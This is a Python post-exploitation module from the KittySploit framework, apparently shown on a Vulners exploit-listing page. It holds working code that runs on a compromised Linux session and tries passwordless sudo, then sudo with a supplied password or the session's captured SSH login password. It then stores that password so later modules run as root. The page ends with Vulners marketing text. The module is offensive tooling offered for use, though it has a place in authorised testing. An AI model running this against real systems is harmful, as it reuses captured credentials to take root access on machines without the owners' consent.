Elevate Session (Keep Root)
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Enable persistent root execution for subsequent Linux post modules."""
from __future__ import annotations
import shlex
from kittysploit import *
from lib.post.linux.system import System
from lib.post.linux.session import LinuxSessionMixin
from core.framework.shell.root_elevate import (
METHOD_NATIVE,
METHOD_SUDO_NOPASSWD,
METHOD_SUDO_PASSWORD,
ROOT_ELEVATE_FLAG,
ROOT_ELEVATE_METHOD,
ROOT_ELEVATE_PASSWORD,
get_root_elevate_config,
is_root_uid_output,
parse_uid_output,
)
class Module(Post, System, LinuxSessionMixin):
__info__ = {
"name": "Elevate Session (Keep Root)",
"description": (
"Marks the active Linux/SSH session so subsequent post modules run as root, "
"and auto-escalates SSH interactive PTY sessions (sudo -i) on sessions interact. "
"Uses native root when already uid 0, otherwise sudo -n or sudo -S with a password. "
"Solves SSH sessions where interactive sudo/su is lost after 'back'."
),
"author": ["KittySploit Team"],
"platform": [Platform.LINUX],
"session_type": [SessionType.SHELL, SessionType.SSH, SessionType.METERPRETER],
"tags": ["privilege-escalation", "sudo", "session", "linux"],
"agent": {
"risk": "intrusive",
"effects": ["active_exploitation"],
"expected_requests": 2,
"reversible": True,
"approval_required": True,
"produces": ["risk_signals"],
"cost": 1.0,
"noise": 0.3,
"value": 1.0,
"requires": {
"capabilities_any": ["shell"],
"capabilities_all": [],
},
"chain": {
"consumes_capabilities": ["shell"],
"produces_capabilities": ["root"],
"option_bindings": {},
"suggested_followups": [],
},
},
}
action = OptChoice("enable", "enable | disable | status", required=True, choices=["enable", "disable", "status"])
password = OptString("","sudo password (empty = try NOPASSWD, then session SSH password)",required=False)
def _opt_str(self, opt) -> str:
if hasattr(opt, "value"):
return str(opt.value or "")
return str(opt or "")
def _sid(self) -> str:
return self._linux_sid()
def _probe(self, command: str) -> str:
return self.linux_execute(command, pty=False) or ""
def _raw_uid(self, command: str) -> str:
"""Run a probe and extract numeric uid (handles id -u and full id output)."""
return parse_uid_output(self._probe(command))
def _session_login_password(self) -> str:
sid = self._sid()
if not sid or not self.framework:
return ""
session = self.framework.session_manager.get_session(sid)
if not session or not isinstance(getattr(session, "data", None), dict):
return ""
pw = session.data.get("password")
return str(pw) if pw is not None else ""
def _try_sudo_nopasswd(self) -> bool:
return is_root_uid_output(self._probe("sudo -n -- id -u 2>/dev/null"))
def _try_sudo_password(self, password: str) -> bool:
if not password:
return False
qpw = shlex.quote(password)
return is_root_uid_output(
self._probe(f"printf '%s\\n' {qpw} | sudo -S -p '' -- id -u 2>/dev/null")
)
def _persist(self, *, enabled: bool, method: str = "", password: str = "") -> bool:
sid = self._sid()
if not sid:
print_error("Session ID is required.")
return False
ok = self.framework.session_manager.update_session_data(
sid,
{
ROOT_ELEVATE_FLAG: bool(enabled),
ROOT_ELEVATE_METHOD: method if enabled else "",
ROOT_ELEVATE_PASSWORD: password if enabled and method == METHOD_SUDO_PASSWORD else "",
},
)
if not ok:
print_error("Failed to update session data.")
return ok
def _print_status(self) -> bool:
cfg = get_root_elevate_config(self.framework, self._sid())
uid = self._raw_uid("id -u 2>/dev/null")
who_out = self._probe("id -un 2>/dev/null")
who_lines = [ln.strip() for ln in who_out.splitlines() if ln.strip()]
who = who_lines[-1] if who_lines else "?"
if who.isdigit() and uid == "0":
who = "root"
print_status(f"Current uid={uid or '?'} user={who or '?'}")
if cfg:
method = cfg.get("method") or "?"
print_success(f"Root elevate is ON (method={method}).")
if method != METHOD_NATIVE and uid != "0":
print_warning(
"Elevate flag is set but id -u is not 0 — sudo may have failed; re-run action=enable."
)
else:
print_info("Root elevate is OFF.")
if uid != "0":
print_info("Post modules will run as the session user until you enable elevation.")
return True
def check(self):
return self.linux_require_linux()
def run(self):
if not self.check():
return False
action = self._opt_str(self.action).strip().lower() or "enable"
if action == "status":
return self._print_status()
if action == "disable":
if not self._persist(enabled=False):
return False
print_success("Root elevate disabled for this session.")
uid = self._raw_uid("id -u 2>/dev/null")
print_status(f"Commands now run as uid={uid or '?'}.")
return True
if action != "enable":
print_error(f"Unknown action: {action}")
return False
if is_root_uid_output(self._probe("id -u 2>/dev/null")):
if not self._persist(enabled=True, method=METHOD_NATIVE):
return False
print_success("Session is already root — elevate marked as native.")
return True
password = self._opt_str(self.password)
if not password:
password = self._session_login_password()
if self._try_sudo_nopasswd():
if not self._persist(enabled=True, method=METHOD_SUDO_NOPASSWD):
return False
print_success("sudo NOPASSWD works — subsequent post modules will run as root.")
elif password and self._try_sudo_password(password):
if not self._persist(enabled=True, method=METHOD_SUDO_PASSWORD, password=password):
return False
print_success("sudo with password works — subsequent post modules will run as root.")
print_warning("Password is kept in session memory for command wrapping.")
else:
print_error(
"Cannot elevate: not root, and sudo failed. "
"Set PASSWORD to the sudo password, or open a root SSH session."
)
return False
verify_out = self._probe("id -u 2>/dev/null")
verify = parse_uid_output(verify_out)
if verify == "0":
print_success("Verified: id -u == 0 via elevated session.")
return True
print_warning(
f"Elevate flag stored but verification returned uid={verify or '?'}. "
"Try action=status or re-enable with PASSWORD."
)
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
17 Jul 2026 05:31Current
5.9Medium risk
Vulners AI Score5.9